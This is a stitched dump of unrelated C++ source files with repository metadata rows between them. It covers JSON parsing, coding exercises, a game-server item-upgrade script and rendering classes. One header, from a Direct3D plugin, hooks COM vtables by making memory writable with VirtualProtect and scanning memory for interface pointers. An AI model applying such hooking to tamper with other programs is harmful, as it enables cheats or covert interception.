simdjson_inline void skip_double() noexcept;
/**
* End of friend declarations.
*/
/**
* Our attributes are a union type (size = 64 bits)
* followed by a type indicator.
*/
union {
double floating_point_number;
int64_t signed_integer;
uint64_t unsigned_integer;
} payload{0};
number_type type{number_type::signed_integer};
};
/**
* Write the JSON type to the output stream
*
* @param out The output stream.
* @param type The json_type.
*/
inline std::ostream& operator<<(std::ostream& out, json_type type) noexcept;
#if SIMDJSON_EXCEPTIONS
/**
* Send JSON type to an output stream.
*
* @param out The output stream.
* @param type The json_type.
* @throw simdjson_error if the result being printed has an error. If there is an error with the
* underlying output stream, that error will be propagated (simdjson_error will not be
* thrown).
*/
inline std::ostream& operator<<(std::ostream& out, simdjson_result<json_type> &type) noexcept(false);
#endif
} // namespace ondemand
} // namespace SIMDJSON_IMPLEMENTATION
} // namespace simdjson
namespace simdjson {
template<>
struct simdjson_result<SIMDJSON_IMPLEMENTATION::ondemand::json_type> : public SIMDJSON_IMPLEMENTATION::implementation_simdjson_result_base<SIMDJSON_IMPLEMENTATION::ondemand::json_type> {
public:
simdjson_inline simdjson_result(SIMDJSON_IMPLEMENTATION::ondemand::json_type &&value) noexcept; ///< @private
simdjson_inline simdjson_result(error_code error) noexcept; ///< @private
simdjson_inline simdjson_result() noexcept = default;
simdjson_inline ~simdjson_result() noexcept = default; ///< @private
};
} // namespace simdjson
#endif // SIMDJSON_GENERIC_ONDEMAND_JSON_TYPE_H
|
f8f87c0ea5318b0a08a3ba9a35761d87fb0695db
|
581d4f7bb268c830050cb0d1fd84f73080719b8c
|
/Easy/count_and_say.cpp
|
2aa58e3c61a71edbab42b997783a1c0fa61f0fe4
|
[] |
no_license
|
wes1498/Interview-Questions
|
b72690b262490e8a8242a0f41ff16cfb86a9134f
|
0ba3fc6700164fa8510357f6855c48c7d535ca24
|
refs/heads/master
| 2021-06-19T08:40:52.480896
| 2021-02-08T04:56:50
| 2021-02-08T04:56:50
| 177,035,173
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 455
|
cpp
|
count_and_say.cpp
|
#include <string>
using namespace std;
string countAndSay(int n) {
if(n==1){return "1";}
string str=countAndSay(n-1);
string ans="";
int count=1;
char tmp;
for (int i=0; i<str.size();){
if(i+1>=str.size() || str[i]!=str[i+1]){
ans+=to_string(count)+str[i];
count=0;
}
i++;
count++;
}
return ans;
}
int main() {
assert(countAndSay(6)=="312211");
return 0;
}
|
089ea877f15b1ef170304007f819b86963f93593
|
736e7e5c8305b8f0767456301d2ab41352d04c9f
|
/Semana9/ex3/main.cpp
|
363797cadf16bb6df24ebafea1716d3f26c3401b
|
[] |
no_license
|
ManoellaR/Linguagem_de_Programacao_II
|
c95dfa9fe63e25a3a34ba9f6ad37423cee603125
|
7e68855c9c10286862b56443942c6dceb030f3c3
|
refs/heads/main
| 2023-04-26T01:03:26.529476
| 2021-05-19T19:27:17
| 2021-05-19T19:27:17
| 342,753,442
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 451
|
cpp
|
main.cpp
|
#include "shapes.hpp"
#include <vector>
int main(){
Shape *a = new Shape();
Shape2D *b = new Shape2D();
Triangle *c = new Triangle();
vector < Shape* > myshapes;
myshapes.push_back(a);
myshapes.push_back(b);
myshapes.push_back(c);
for(size_t i=0; i<myshapes.size(); i++){
myshapes.at(i)->ShowMe();
}
for(size_t i=0; i<myshapes.size(); i++){
delete myshapes.at(i);
}
return 0;
}
|
fa364349c91c4a5906d6f9fe163cb703e0e63936
|
8fd6680c592df42b9dcad762a5a096b7c3314673
|
/src/hooktools.h
|
662755d1f72a49602ea61c324aa9ff363b0bb534
|
[
"BSD-2-Clause"
] |
permissive
|
oskardev/Plugin_D3D
|
e0339a4a9fd54578118725b08e385ef1d006341b
|
3ce0a25f8d0b011a24f76d002fe1377604f746e5
|
refs/heads/master
| 2016-08-03T10:23:03.492260
| 2013-07-14T11:22:32
| 2013-07-14T11:22:32
| 11,392,587
| 2
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 9,127
|
h
|
hooktools.h
|
/* D3D_Plugin - for licensing and copyright see license.txt */
#include <Windows.h>
#include "pp_tools.h"
#include <concrt.h>
#pragma once
#define getVT(ptr) (IsBadWritePtr(ptr, sizeof(INT_PTR)) ? NULL : *(void***)ptr)
#define changeVT(n, target) changeVTEx(getVT(This), n, target)
#define MF_PTR(x) (*(void**)((void*)(&x)))
#define MF_DATA(x) ((void*)x)
#define hookVT(ptr, INTERFACE, METHOD) \
{\
Concurrency::critical_section::scoped_lock lock( PPCAT(PPCAT(PPCAT(cs, INTERFACE),_), METHOD) ); \
if(getVT(ptr)[PPCAT(PPCAT(PPCAT(vt, INTERFACE),_), METHOD)] != PPCAT(PPCAT(PPCAT(fh, INTERFACE),_), METHOD)) \
{ \
MF_PTR(PPCAT(PPCAT(PPCAT(fo, INTERFACE),_), METHOD)) = getVT(ptr)[PPCAT(PPCAT(PPCAT(vt, INTERFACE),_), METHOD)];\
changeVTEx(getVT(ptr), PPCAT(PPCAT(PPCAT(vt, INTERFACE),_), METHOD), PPCAT(PPCAT(PPCAT(fh, INTERFACE),_), METHOD));\
} \
}
#define unhookVT(ptr, INTERFACE, METHOD) \
{\
Concurrency::critical_section::scoped_lock lock( PPCAT(PPCAT(PPCAT(cs, INTERFACE),_), METHOD) ); \
if(getVT(ptr)[PPCAT(PPCAT(PPCAT(vt, INTERFACE),_), METHOD)] != PPCAT(PPCAT(PPCAT(fh, INTERFACE),_), METHOD)) \
{ \
MF_PTR(PPCAT(PPCAT(PPCAT(fo, INTERFACE),_), METHOD)) = getVT(ptr)[PPCAT(PPCAT(PPCAT(vt, INTERFACE),_), METHOD)];\
} \
changeVTEx(getVT(ptr), PPCAT(PPCAT(PPCAT(vt, INTERFACE),_), METHOD), PPCAT(PPCAT(PPCAT(fo, INTERFACE),_), METHOD));\
}
#define rehookVT(ptr, INTERFACE, METHOD) \
{\
PPCAT(PPCAT(PPCAT(cs, INTERFACE),_), METHOD).lock(); \
if(getVT(ptr)[PPCAT(PPCAT(PPCAT(vt, INTERFACE),_), METHOD)] != PPCAT(PPCAT(PPCAT(fh, INTERFACE),_), METHOD)) \
{ \
PPCAT(PPCAT(PPCAT(cs, INTERFACE),_), METHOD).unlock();\
hookVT(ptr, INTERFACE, METHOD);\
} else { \
PPCAT(PPCAT(PPCAT(cs, INTERFACE),_), METHOD).unlock();\
} \
}
#define GEN_HOOK_(TYPE, ...) \
Concurrency::critical_section PPCAT(PPCAT(PPCAT(cs, INTERFACE),_), METHOD);\
PPCAT(PPCAT(PPCAT(f, INTERFACE), _), METHOD) PPCAT(PPCAT(PPCAT(fo, INTERFACE),_), METHOD) = NULL;\
TYPE STDMETHODCALLTYPE PPCAT(PPCAT(PPCAT(fh, INTERFACE),_), METHOD)(INTERFACE FAR* This, __VA_ARGS__)
#define GEN_HOOK(...) \
GEN_HOOK_(HRESULT, __VA_ARGS__)
#define UNHOOK \
unhookVT(This, INTERFACE, METHOD)
#define REHOOK \
rehookVT(This, INTERFACE, METHOD)
#define CALL_ORGINAL_(RET, ...) \
PPCAT(PPCAT(PPCAT(cs, INTERFACE),_), METHOD).lock(); \
assert(MF_PTR(PPCAT(PPCAT(PPCAT(fo, INTERFACE),_), METHOD)) != PPCAT(PPCAT(PPCAT(fh, INTERFACE),_), METHOD)); \
RET (PPCAT((This)->*,((PPCAT(PPCAT(PPCAT(f, INTERFACE),_), METHOD))PPCAT(PPCAT(PPCAT(fo, INTERFACE),_), METHOD))))(__VA_ARGS__); \
PPCAT(PPCAT(PPCAT(cs, INTERFACE),_), METHOD).unlock();
#define CALL_ORGINAL(...) \
CALL_ORGINAL_(HRESULT hr =, __VA_ARGS__)
#define DECLARE_PARAMS(pthis,...) (__VA_ARGS__)
#define DECLARE_FUNCTION_PTR(method) DECLARE_MEMBER_FUNCTION_PTR_(HRESULT,method)
#define DECLARE_FUNCTION_PTR_(rettype,method) DECLARE_MEMBER_FUNCTION_PTR_(rettype,method)
#define DECLARE_MEMBER_FUNCTION_PTR(method) DECLARE_MEMBER_FUNCTION_PTR_(HRESULT,method)
#define DECLARE_MEMBER_FUNCTION_PTR_(rettype,method) \
typedef rettype (STDMETHODCALLTYPE INTERFACE::*PPCAT(PPCAT(PPCAT(f, INTERFACE),_), method))
template<typename func, typename vttype> bool changeVTEx( void** vt, vttype n, func target )
{
DWORD OldProtections = 0;
bool bRet = false;
if ( vt && !IsBadReadPtr( vt, sizeof( LPCVOID ) ) && !IsBadReadPtr( &vt[n], sizeof( LPCVOID ) ) )
{
if ( VirtualProtect( &vt[n], sizeof( LPCVOID ), PAGE_EXECUTE_READWRITE, &OldProtections ) )
{
if ( !IsBadWritePtr( &vt[n], sizeof( LPCVOID ) ) )
{
vt[n] = MF_PTR( target );
bRet = true;
}
VirtualProtect( &vt[n], sizeof( LPCVOID ), OldProtections, &OldProtections );
}
}
return bRet;
}
#define D3D_TARGETDX9 TEXT("dx9")
#define D3D_TARGETDX11 TEXT("dx11")
typedef bool( *ptGetVTData )( INT_PTR*, int, void* );
template<typename baseiface_type>
bool CheckForInterface( void* pBase, INT_PTR* pData, int nDatalen, IID guidInterface, int nVTEntries )
{
void* tmp = pBase;
if ( !IsBadReadPtr( tmp, sizeof( INT_PTR ) ) )
{
// Ptr OK
tmp = *( void** )tmp;
if ( !IsBadReadPtr( tmp, sizeof( INT_PTR ) ) )
{
// Device Vtable Ptr OK
tmp = getVT( tmp );
if ( !IsBadReadPtr( tmp, sizeof( INT_PTR )*nVTEntries ) )
{
// Device Vtable Ptr OK
if ( 0 == memcmp( pData, tmp, nDatalen ) )
{
// IUnknown as expected
baseiface_type* unk = *( baseiface_type** )pBase;
void* p_device = NULL;
if ( SUCCEEDED( unk->QueryInterface( guidInterface, &p_device ) ) )
{
if ( p_device )
{
// device found
unk->Release();
return true;
}
}
}
}
}
}
return false;
}
template<typename baseiface_type>
void* ScanRange( INT_PTR start, size_t len, INT_PTR* pData, int nDatalen, IID guidInterface, int nVTEntries )
{
INT_PTR search = start;
INT_PTR end = search + len;
for ( ; search < end; ++search )
{
// Search IUnknown vtable
if ( CheckForInterface<baseiface_type>( ( void* )search, pData, nDatalen, guidInterface, nVTEntries ) )
{
return ( void* )search;
}
}
return NULL;
}
#define D3D_REGISTRY TEXT("SOFTWARE\\CE3Plugins\\Direct3DDevice")
#define D3D_TEXTURE TEXT("t")
#define D3D_OFFSET TEXT("offset")
#define D3D_DATA TEXT("data")
#define D3D_TARGETX86 TEXT("x86")
#define D3D_TARGETX64 TEXT("x64")
#define SEP TEXT("_")
/**
* @brief Function to find pointers to IUnknown based interfaces in a memory range
*/
template<typename iface_type, typename baseiface_type>
iface_type* FindInterface(
INT_PTR nModuleOffset, INT_PTR nRelativeBase, int nFunctioncount, int nRange,
LPCTSTR sSubKeyData, INT_PTR* pVTData, DWORD nVTDataSize,
LPCTSTR sSubKeyOffset, INT_PTR pPointerOffset, DWORD nPointerOffsetSize, ptGetVTData pfGetVTData, void* pParam = NULL )
{
HKEY hKey;
RegCreateKeyEx(
HKEY_CURRENT_USER,
D3D_REGISTRY,
0,
NULL,
0,
KEY_ALL_ACCESS,
NULL,
&hKey,
NULL );
RegQueryValueEx( hKey, sSubKeyData, 0, NULL, ( LPBYTE )pVTData, &nVTDataSize );
RegQueryValueEx( hKey, sSubKeyOffset, 0, NULL, ( LPBYTE )&pPointerOffset, &nPointerOffsetSize );
// Check Defaults or Rescan
void* pInterfaceClass = ( void* )( nRelativeBase + pPointerOffset );
// Calculate Offsets of IUnknown Interface VTable
pVTData[0] += nModuleOffset;
pVTData[1] += nModuleOffset;
pVTData[2] += nModuleOffset;
IID guidInterface = __uuidof( iface_type );
if ( !CheckForInterface<baseiface_type>( pInterfaceClass, pVTData, nVTDataSize, guidInterface, nFunctioncount ) )
{
// Scan for new Offset
if ( pInterfaceClass = ScanRange<baseiface_type>( nRelativeBase, nRange, pVTData, nVTDataSize, guidInterface, nFunctioncount ) )
{
goto Save_Offset;
}
// Get current IUnknown Interface VTable
if ( !( ( *pfGetVTData )( pVTData, nVTDataSize, pParam ) ) )
{
goto Exit_Get; // Could not get device data
}
// Try again with old offset
pInterfaceClass = ( void* )( nRelativeBase + pPointerOffset );
if ( !CheckForInterface<baseiface_type>( pInterfaceClass, pVTData, nVTDataSize, guidInterface, nFunctioncount ) )
{
// Scan for new Offset
if ( pInterfaceClass = ScanRange<baseiface_type>( nRelativeBase, nRange, pVTData, nVTDataSize, guidInterface, nFunctioncount ) )
{
goto Save_Data;
}
}
else
{
goto Save_Data;
}
}
goto Exit_Get; // Data is OK/totally invalid no save required
Save_Data: // IUnknown Interface VTable Offsets
pVTData[0] -= nModuleOffset;
pVTData[1] -= nModuleOffset;
pVTData[2] -= nModuleOffset;
RegSetValueEx( hKey, sSubKeyData, 0, REG_BINARY, ( LPBYTE )pVTData, nVTDataSize );
Save_Offset: // Interface Offset
pPointerOffset = ( ( INT_PTR )pInterfaceClass ) - nRelativeBase;
RegSetValueEx( hKey, sSubKeyOffset, 0, REG_BINARY, ( LPBYTE )&pPointerOffset, nPointerOffsetSize );
Exit_Get:
RegCloseKey( hKey );
// Interface Pointer OK?
if ( !IsBadReadPtr( pInterfaceClass, sizeof( INT_PTR ) ) )
{
return *( iface_type** )pInterfaceClass;
}
return NULL;
}
enum HookTextureMode
{
HTM_NONE = 0,
HTM_INJECT,
HTM_CREATE,
};
|
0fabfe308115f9d8b7d3faaca91518b859f91d49
|
b9b966952e88619c9c5d754fea0f0e25fdb1a219
|
/libcaf_core/caf/raise_error.cpp
|
31811cd993f73d1d484002ec13c563708b58704a
|
[] |
permissive
|
actor-framework/actor-framework
|
7b152504b95b051db292696a803b2add6dbb484d
|
dd16d703c91e359ef421f04a848729f4fd652d08
|
refs/heads/master
| 2023-08-23T18:22:34.479331
| 2023-08-23T09:31:36
| 2023-08-23T09:31:36
| 1,439,738
| 2,842
| 630
|
BSD-3-Clause
| 2023-09-14T17:33:55
| 2011-03-04T14:59:50
|
C++
|
UTF-8
|
C++
| false
| false
| 446
|
cpp
|
raise_error.cpp
|
// This file is part of CAF, the C++ Actor Framework. See the file LICENSE in
// the main distribution directory for license terms and copyright or visit
// https://github.com/actor-framework/actor-framework/blob/master/LICENSE.
#include "caf/raise_error.hpp"
#include "caf/logger.hpp"
namespace caf::detail {
void log_cstring_error(const char* cstring) {
CAF_IGNORE_UNUSED(cstring);
CAF_LOG_ERROR(cstring);
}
} // namespace caf::detail
|
fe880c588f95faf0d1822cf42036a85060199e8b
|
9f150ed0c5935d557a3cf3a26922816526068282
|
/src/Stack/StackSequence.cpp
|
352474eb3cd4deb4b9be4e1aaed6a78297f6fccd
|
[] |
no_license
|
rathnavels/DataStructures_LB
|
e7c4887d063076eb1645605f4ee3901d8d8e8b9b
|
71d63294b8909c2c540c9a496f516957203f73a9
|
refs/heads/master
| 2020-12-08T10:39:43.330810
| 2020-09-12T18:24:50
| 2020-09-12T18:24:50
| 232,960,654
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 814
|
cpp
|
StackSequence.cpp
|
//Rathinavel Sankaralingam
//Jan 25, 2020
#include <iostream>
#include <vector>
#include <stack>
using namespace std;
void runValidateStackSequences()
{
vector<int> pushed = {2,1,0};
vector<int> popped = {1,2,0};
bool IsValid = true;
int popIdx = 0;
std::stack<int> stk;
for(int i=0; i<pushed.size(); i++)
{
while(!stk.empty() && stk.top()==popped[popIdx])
{
stk.pop();
popIdx++;
}
stk.push(pushed[i]);
}
while(stk.empty()==false)
{
if(stk.top()==popped[popIdx])
{
stk.pop();
popIdx++;
}
else
{
IsValid = false;
break;
}
}
if(IsValid)
std::cout << "True";
else
std::cout << "False";
}
|
96bd539b64dc2deef246170292280da7b91d6b49
|
f965f99719ff0c54fa92b29a51581b177b51eb1c
|
/mod/mod_ItemUpgrade.cpp
|
4d0b1e09725251d33b2e1a1a26a1409a73c15ff5
|
[] |
no_license
|
Declipe/Custom
|
bc1c70221e312bf7a3d4723e1b4c91b5a7772b13
|
09bcac5b0445f6468fdb7913cf19cad4610471f8
|
refs/heads/master
| 2021-01-12T15:09:25.568895
| 2016-09-27T12:17:47
| 2016-09-27T12:17:47
| 69,353,214
| 3
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 10,372
|
cpp
|
mod_ItemUpgrade.cpp
|
#include "CreatureTextMgr.h"
#include "Player.h"
#include "BattlegroundMgr.h"
#include "Battleground.h"
#include "ArenaTeamMgr.h"
#include "ArenaTeam.h"
#include "Config.h"
enum ItemUpgradeStrings
{
ARE_YOU_SURE = 11300, // Are you sure you want to remove the effect?
NO_EFFECT = 11301, // no effect
EFFECT_NOW = 11302, // Effect №%i (now: %s)
EFFECT_REMOVE = 11303, // Remove effect
};
struct ItemUpgradeTemplate
{
uint32 enchantId;
uint32 prevEnchantId;
std::string description;
uint32 charges;
uint32 duration;
uint32 golds;
};
int ItemUpgradeTextAreYouSure = 0;
int ItemUpgradeTextNoEffect = 0;
int ItemUpgradeTextEffectNow = 0;
int ItemUpgradeTextEffectRemove = 0;
bool ItemUpgradeEnable = false;
std::vector<ItemUpgradeTemplate> ItemUpgradeInfo;
class Mod_ItemUpgrade_WorldScript : public WorldScript
{
public:
Mod_ItemUpgrade_WorldScript() : WorldScript("Mod_ItemUpgrade_WorldScript") { }
void LoadDataFromDataBase()
{
ItemUpgradeInfo.clear();
TC_LOG_ERROR("misc", "Loading ItemUpgrade...");
uint32 oldMSTime = getMSTime();
QueryResult result = WorldDatabase.PQuery("SELECT `enchant_id`, `prev_enchant_id`, `golds` FROM `world_item_upgrade`");
if (!result)
{
TC_LOG_ERROR("misc", ">> `world_item_upgrade` is empty");
return;
}
uint16 count = 0;
do
{
Field* fields = result->Fetch();
ItemUpgradeTemplate ItemUpgradeTemp;
ItemUpgradeTemp.enchantId = fields[0].GetUInt32();
ItemUpgradeTemp.prevEnchantId = fields[1].GetUInt32();
ItemUpgradeTemp.golds = fields[2].GetUInt32() * GOLD;
ItemUpgradeTemp.charges = 0;
ItemUpgradeTemp.duration = 0;
SpellItemEnchantmentEntry const* enchantEntry = sSpellItemEnchantmentStore.LookupEntry(ItemUpgradeTemp.enchantId);
if (!enchantEntry) {
TC_LOG_ERROR("misc", "Item Upgrade: not exists enchantment id %u", ItemUpgradeTemp.enchantId);
continue;
}
for (uint8 i = 0; i < 16; ++i)
if (strlen(enchantEntry->description[i]))
ItemUpgradeTemp.description = enchantEntry->description[i];
ItemUpgradeInfo.push_back(ItemUpgradeTemp);
++count;
}
while (result->NextRow());
TC_LOG_ERROR("misc", ">> Loaded %u count for ItemUpgrade in %u ms", count, GetMSTimeDiffToNow(oldMSTime));
}
void OnConfigLoad(bool /*reload*/)
{
ItemUpgradeTextAreYouSure = sConfigMgr->GetIntDefault("ItemUpgrade.Text.AreYouSure", ARE_YOU_SURE);
ItemUpgradeTextNoEffect = sConfigMgr->GetIntDefault("ItemUpgrade.Text.NoEffect", NO_EFFECT);
ItemUpgradeTextEffectNow = sConfigMgr->GetIntDefault("ItemUpgrade.Text.EffectNow", EFFECT_NOW);
ItemUpgradeTextEffectRemove = sConfigMgr->GetIntDefault("ItemUpgrade.Text.EffectRemove", EFFECT_REMOVE);
ItemUpgradeEnable = sConfigMgr->GetIntDefault("ItemUpgrade.Enable", false);
if (ItemUpgradeEnable)
LoadDataFromDataBase();
}
};
class go_item_upgrade : public GameObjectScript
{
public:
go_item_upgrade() : GameObjectScript("go_item_upgrade") { }
uint16 getSlot(uint32 sender) {
return (uint16) ((sender - GOSSIP_SENDER_MAIN) >> 16);
}
uint16 getEnchant(uint32 sender) {
return (uint16) ((sender - GOSSIP_SENDER_MAIN) & 0xFFFF);
}
uint32 senderValue(uint16 slot, uint16 enchant) {
return (uint32) (GOSSIP_SENDER_MAIN + ((slot << 16) | (enchant & 0xFFFF)));
}
bool OnGossipHello(Player* player, GameObject* go)
{
if (!ItemUpgradeEnable) {
SendGossipMenuFor(player, player->GetGossipTextId(go), go->GetGUID());
return true;
}
int loc_idx = player->GetSession()->GetSessionDbLocaleIndex();
for (uint8 i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; i++)
{
Item* item = player->GetUseableItemByPos(INVENTORY_SLOT_BAG_0, i);
if (item)
{
ItemTemplate const *itemTemplate = item->GetTemplate();
std::string Name = itemTemplate->Name1;
if (loc_idx >= 0)
if (ItemLocale const* il = sObjectMgr->GetItemLocale(itemTemplate->ItemId))
ObjectMgr::GetLocaleString(il->Name, loc_idx, Name);
AddGossipItemFor(player, GOSSIP_ICON_CHAT, Name.c_str(), senderValue(i, 0), GOSSIP_ACTION_INFO_DEF);
}
}
SendGossipMenuFor(player, player->GetGossipTextId(go), go->GetGUID());
return true;
}
bool OnGossipSelect(Player* player, GameObject* go, uint32 sender, uint32 action)
{
if (!ItemUpgradeEnable) {
CloseGossipMenuFor(player);
return true;
}
player->PlayerTalkClass->ClearMenus();
uint16 itemSlot = getSlot(sender);
uint16 itemEnchantSlot = getEnchant(sender);
if (itemSlot >= EQUIPMENT_SLOT_END) {
CloseGossipMenuFor(player);
return false;
}
Item* item = player->GetUseableItemByPos(INVENTORY_SLOT_BAG_0, itemSlot);
if (!item) {
CloseGossipMenuFor(player);
return false;
}
if (itemEnchantSlot < PROP_ENCHANTMENT_SLOT_0 || itemEnchantSlot >= MAX_ENCHANTMENT_SLOT) {
AddGossipItemFor(player, GOSSIP_ICON_CHAT, "<< ...", senderValue(0, 0), GOSSIP_ACTION_INFO_DEF);
for (uint8 i = PROP_ENCHANTMENT_SLOT_0; i < MAX_ENCHANTMENT_SLOT; ++i) {
std::string oldEffect = sObjectMgr->GetTrinityStringForDBCLocale(ItemUpgradeTextNoEffect);
uint32 enchantId = item->GetEnchantmentId(EnchantmentSlot(i));
if (enchantId != 0)
{
bool isExists = false;
for (uint32 j = 0; j < ItemUpgradeInfo.size(); ++j)
{
if (ItemUpgradeInfo[j].enchantId != enchantId)
continue;
oldEffect = ItemUpgradeInfo[j].description;
isExists = true;
}
if (!isExists) {
SpellItemEnchantmentEntry const* enchantEntry = sSpellItemEnchantmentStore.LookupEntry(enchantId);
if (enchantEntry)
for (uint8 i = 0; i < 16; ++i)
if (strlen(enchantEntry->description[i]))
oldEffect = enchantEntry->description[i];
}
}
char gossipTextFormat[100];
snprintf(gossipTextFormat, 100, sObjectMgr->GetTrinityStringForDBCLocale(ItemUpgradeTextEffectNow), i - PROP_ENCHANTMENT_SLOT_0 + 1, oldEffect.c_str());
AddGossipItemFor(player, GOSSIP_ICON_CHAT, gossipTextFormat, senderValue(itemSlot, i), GOSSIP_ACTION_INFO_DEF);
}
SendGossipMenuFor(player, player->GetGossipTextId(go), go->GetGUID());
return true;
}
uint32 currentEnchantId = item->GetEnchantmentId(EnchantmentSlot(itemEnchantSlot));
if (action <= GOSSIP_ACTION_INFO_DEF)
{
AddGossipItemFor(player, GOSSIP_ICON_CHAT, "<< ...", senderValue(itemSlot, 0), GOSSIP_ACTION_INFO_DEF);
if (currentEnchantId != 0)
AddGossipItemFor(player, GOSSIP_ICON_CHAT, sObjectMgr->GetTrinityStringForDBCLocale(ItemUpgradeTextEffectRemove), senderValue(itemSlot, itemEnchantSlot), GOSSIP_ACTION_INFO_DEF + 1, sObjectMgr->GetTrinityStringForDBCLocale(ItemUpgradeTextAreYouSure), 100 * GOLD, 0);
for (uint32 i = 0; i < ItemUpgradeInfo.size(); ++i)
{
if (ItemUpgradeInfo[i].prevEnchantId != currentEnchantId)
continue;
AddGossipItemFor(player, GOSSIP_ICON_CHAT, ItemUpgradeInfo[i].description.c_str(), senderValue(itemSlot, itemEnchantSlot), GOSSIP_ACTION_INFO_DEF + ItemUpgradeInfo[i].enchantId, ItemUpgradeInfo[i].description.c_str(), ItemUpgradeInfo[i].golds, 0);
}
SendGossipMenuFor(player, player->GetGossipTextId(go), go->GetGUID());
return true;
}
uint32 golds = 0;
uint32 enchantId = action - GOSSIP_ACTION_INFO_DEF;
SQLTransaction trans = CharacterDatabase.BeginTransaction();
if (enchantId == 1)
{
golds = 100 * GOLD;
if (!player->HasEnoughMoney(golds))
{
player->SendBuyError(BUY_ERR_NOT_ENOUGHT_MONEY, 0, 0, 0);
CloseGossipMenuFor(player);
return false;
}
player->ApplyEnchantment(item, EnchantmentSlot(itemEnchantSlot), false);
item->ClearEnchantment(EnchantmentSlot(itemEnchantSlot));
} else {
for (uint32 i = 0; i < ItemUpgradeInfo.size(); ++i)
{
if (ItemUpgradeInfo[i].prevEnchantId != currentEnchantId)
continue;
if (ItemUpgradeInfo[i].enchantId != enchantId)
continue;
golds = ItemUpgradeInfo[i].golds;
if (!player->HasEnoughMoney(golds))
{
player->SendBuyError(BUY_ERR_NOT_ENOUGHT_MONEY, 0, 0, 0);
CloseGossipMenuFor(player);
return false;
}
player->ApplyEnchantment(item, EnchantmentSlot(itemEnchantSlot), false);
item->SetEnchantment(EnchantmentSlot(itemEnchantSlot), ItemUpgradeInfo[i].enchantId, ItemUpgradeInfo[i].duration, ItemUpgradeInfo[i].charges);
player->ApplyEnchantment(item, EnchantmentSlot(itemEnchantSlot), true);
}
}
if (golds > 0)
{
player->ModifyMoney(-(int32)golds);
player->SaveInventoryAndGoldToDB(trans);
}
item->SaveToDB(trans);
CharacterDatabase.CommitTransaction(trans);
CloseGossipMenuFor(player);
return true;
}
};
void AddSC_Mod_ItemUpgrade()
{
new Mod_ItemUpgrade_WorldScript();
new go_item_upgrade();
}
|
354de3dac290006653554c5d394e2b31310fc290
|
d5784a924fa8777c24d58923a3857c4889a8b3ec
|
/Algorith_cpp/Sort/QuickSort.cpp
|
d0699834ab66c58e18f6bb7b9bc502e8a6cbc585
|
[] |
no_license
|
RootRefresh/algorithm
|
0ccf87250131e4f63e338890ebabe0dd233ce4d0
|
c3d87847b9b0d3ded11268bc5ca3ab52e81d7b0c
|
refs/heads/master
| 2021-01-01T17:35:15.596743
| 2018-08-09T16:22:38
| 2018-08-09T16:22:38
| 98,106,313
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 877
|
cpp
|
QuickSort.cpp
|
//
// QuickSort.cpp
// Algorith_cpp
//
// Created by 丰华财经 on 2018/1/30.
// Copyright © 2018年 com.lottery.www. All rights reserved.
//
#include "QuickSort.hpp"
#include "utils.hpp"
int partision(int *a, int begin, int end)
{
int privot = a[end];
int i = 0, j = 0;
while (j < end) {
if (a[j] <= privot) {
// cout<<"开始:"<<endl;
// printRange(a, begin, end);
exchange(&a[i], &a[j]);
// cout<<"结束:"<<endl;
// printRange(a, begin, end);
i++;
}
j++;
}
exchange(&a[i], &a[end]);
// printRange(a, begin, end);
return i;
}
void quickSort(int *a, int begin, int end)
{
if (begin < end) {
int p = partision(a, begin, end);
quickSort(a, begin, p-1);
quickSort(a, p+1, end);
}
}
|
6b5b066233ac42a1a0a370cd916f32afd13c884a
|
4a87a0f06b476cc7786a9fe18ba1f1b460aca9fa
|
/main.cpp
|
c2ddadd295e72a686390304862953644e87205d7
|
[] |
no_license
|
DaAitch/TechnicalLabs
|
24616eb7d04adaf78939951e326f617d9b54c98c
|
a8ca6b3f8d83c6eae218dc1ca5aa94a6feecc429
|
refs/heads/master
| 2021-05-27T12:27:54.033941
| 2012-09-19T09:55:48
| 2012-09-19T09:55:48
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 81
|
cpp
|
main.cpp
|
#include "labs.h"
int main()
{
TechnicalLabs::run();
return EXIT_SUCCESS;
}
|
242fed8767da48c0b5935289620296fdc243e298
|
5fa98392c6f8f18ecefe773ee1dd86251bc5f2dc
|
/src/obj/cards/buildings/building.h
|
6e03301bed3b40609e6d7e57d616458a5c20673d
|
[] |
no_license
|
Alir3za97/RoyaleClash
|
04eee019e4fe833df4643f008d22289097582ea0
|
336a9c68b139601f4702446f26f96a9d20b3a999
|
refs/heads/master
| 2021-01-09T20:40:59.650942
| 2016-07-22T22:47:34
| 2016-07-22T22:47:34
| 61,951,641
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 259
|
h
|
building.h
|
//
// Created by mareal on 6/27/16.
//
#ifndef ROYALECLASH_BUILDING_H
#define ROYALECLASH_BUILDING_H
#include <src/obj/cards/card.h>
class Building : public Card {
public:
private:
qreal hitpoint;
qreal lifetime;
};
#endif //ROYALECLASH_BUILDING_H
|
8012f66ff0934647a7a69cbf1c68d932414cca2c
|
773357b475f59bbdde3a2de632638fef976e330a
|
/src/RenderableModel.cpp
|
ada63f61eebd4f40b52816d9451b27a6aa21f71f
|
[
"MIT"
] |
permissive
|
q4a/GLKeeper
|
568544cc86a88536f104f7f38d6e018a62e47510
|
a2207e2a459a254cbc703306ef92a09ecf714090
|
refs/heads/master
| 2022-11-25T08:32:44.100454
| 2020-06-26T11:36:25
| 2020-06-26T11:36:25
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 7,075
|
cpp
|
RenderableModel.cpp
|
#include "pch.h"
#include "RenderableModel.h"
#include "ModelAsset.h"
#include "TexturesManager.h"
#include "SceneObject.h"
#include "RenderManager.h"
RenderableModel::RenderableModel()
{
mDebugColor = Color32_Green;
}
void RenderableModel::UpdateFrame(float deltaTime)
{
if (!IsAnimationActive() || IsAnimationPaused())
return;
AdvanceAnimation(deltaTime);
}
void RenderableModel::PrepareRenderResources()
{
AnimModelsRenderer& renderer = gRenderManager.mAnimatingModelsRenderer;
renderer.PrepareRenderdata(this);
}
void RenderableModel::ReleaseRenderResources()
{
AnimModelsRenderer& renderer = gRenderManager.mAnimatingModelsRenderer;
renderer.ReleaseRenderdata(this);
}
